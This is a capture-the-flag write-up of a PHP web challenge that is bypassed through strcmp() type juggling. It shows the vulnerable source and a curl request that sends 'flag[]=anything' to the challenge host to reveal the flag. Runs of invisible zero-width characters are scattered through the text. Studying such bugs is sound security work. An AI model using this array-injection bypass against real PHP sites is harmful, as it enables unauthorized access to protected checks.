← Back to Writeups
CUSTOMEasyWeb

Практикующий жонглер (Practice Juggler)

XESXOR9/10/20262 min read
#web#custom#easy#php_strcmp_type_juggling_bypas#array_injection_to_bypass_stri#source_code_analysis#linux

Практикующий жонглер (Practice Juggler)

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: php_strcmp_type_juggling_bypass, array_injection_to_bypass_string_comparison, source_code_analysis

Summary

Task: PHP circus website with flag check using strcmp() and loose comparison (== 0). Solution: Array injection (flag[]=x) makes strcmp() return NULL, which equals 0 in loose comparison, bypassing the check and revealing the flag.

Практикующий жонглер (Practice Juggler) — bug-makers

Description

Представление окончено! Теперь вам самим предстоит научиться еще одному трюку настоящего жонглера.

English summary: The show is over! Now you must learn another trick of a real juggler yourself. A PHP circus website is provided with source code in practice_jangler.zip. The goal is to bypass the flag check and retrieve the real flag.

Semantic Clues

  • "Практикующий жонглер" (Practicing Juggler) — direct hint at PHP Type Juggling, a well-known vulnerability class
  • "еще одному трюку настоящего жонглера" (another trick of a real juggler) — reinforces the type juggling theme
  • The circus theme matches a prior hackerlab challenge "Цирковой трюк" (Circus Trick) which also involved PHP type juggling ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

The source code is available in practice_jangler.zip containing public/index.php. The website is a circus-themed page with a flag submission form.

The critical code is in the flag check section (lines 110–118):

php
if (isset($_POST['flag'])) {
    $flag = 'DUCKERZ{...}';
    if (strcmp($_POST['flag'], $flag) == 0) {
        echo "<div class='flag-success'>✅ Верно! Флаг: " . htmlspecialchars($flag) . "</div>";
    } else {
        echo "<div class='flag-fail'>❌ Неверный флаг.</div>";
    }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Two vulnerabilities combine here:

  1. strcmp() with non-string input: When PHP's strcmp() receives an array instead of a string, it returns NULL (and emits a warning)
  2. Loose comparison == 0: In PHP, NULL == 0 evaluates to true

This means passing an array as the flag parameter bypasses the comparison entirely, and the server responds with the real flag value.

Why it works

php
// Normal: strcmp returns non-zero for wrong input
strcmp("wrong_guess", "DUCKERZ{...}") != 0  // comparison fails
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// Exploit: strcmp returns NULL for array input
strcmp(array("anything"), "DUCKERZ{...}")  // returns NULL
NULL == 0  // true in PHP loose comparison!
// → flag check passes, real flag is echoed

The front-end JavaScript form sends flag=<value> as a URL-encoded string, but nothing prevents sending flag[]=<value> directly via curl, which PHP interprets as an array.

Solution

Send a POST request with flag as an array parameter instead of a string:

bash
curl -s -X POST "https://practice-jangler.t1.bug-makers.ru/" -d "flag[]=anything"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The response HTML contains:

html
<div class='flag-success'>✅ Верно! Флаг: DUCKERZ{REDACTED}</div>

The flag itself — REDACTED — is a leet-speak encoding of "Another task on PHP type juggling", confirming the intended vulnerability class. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍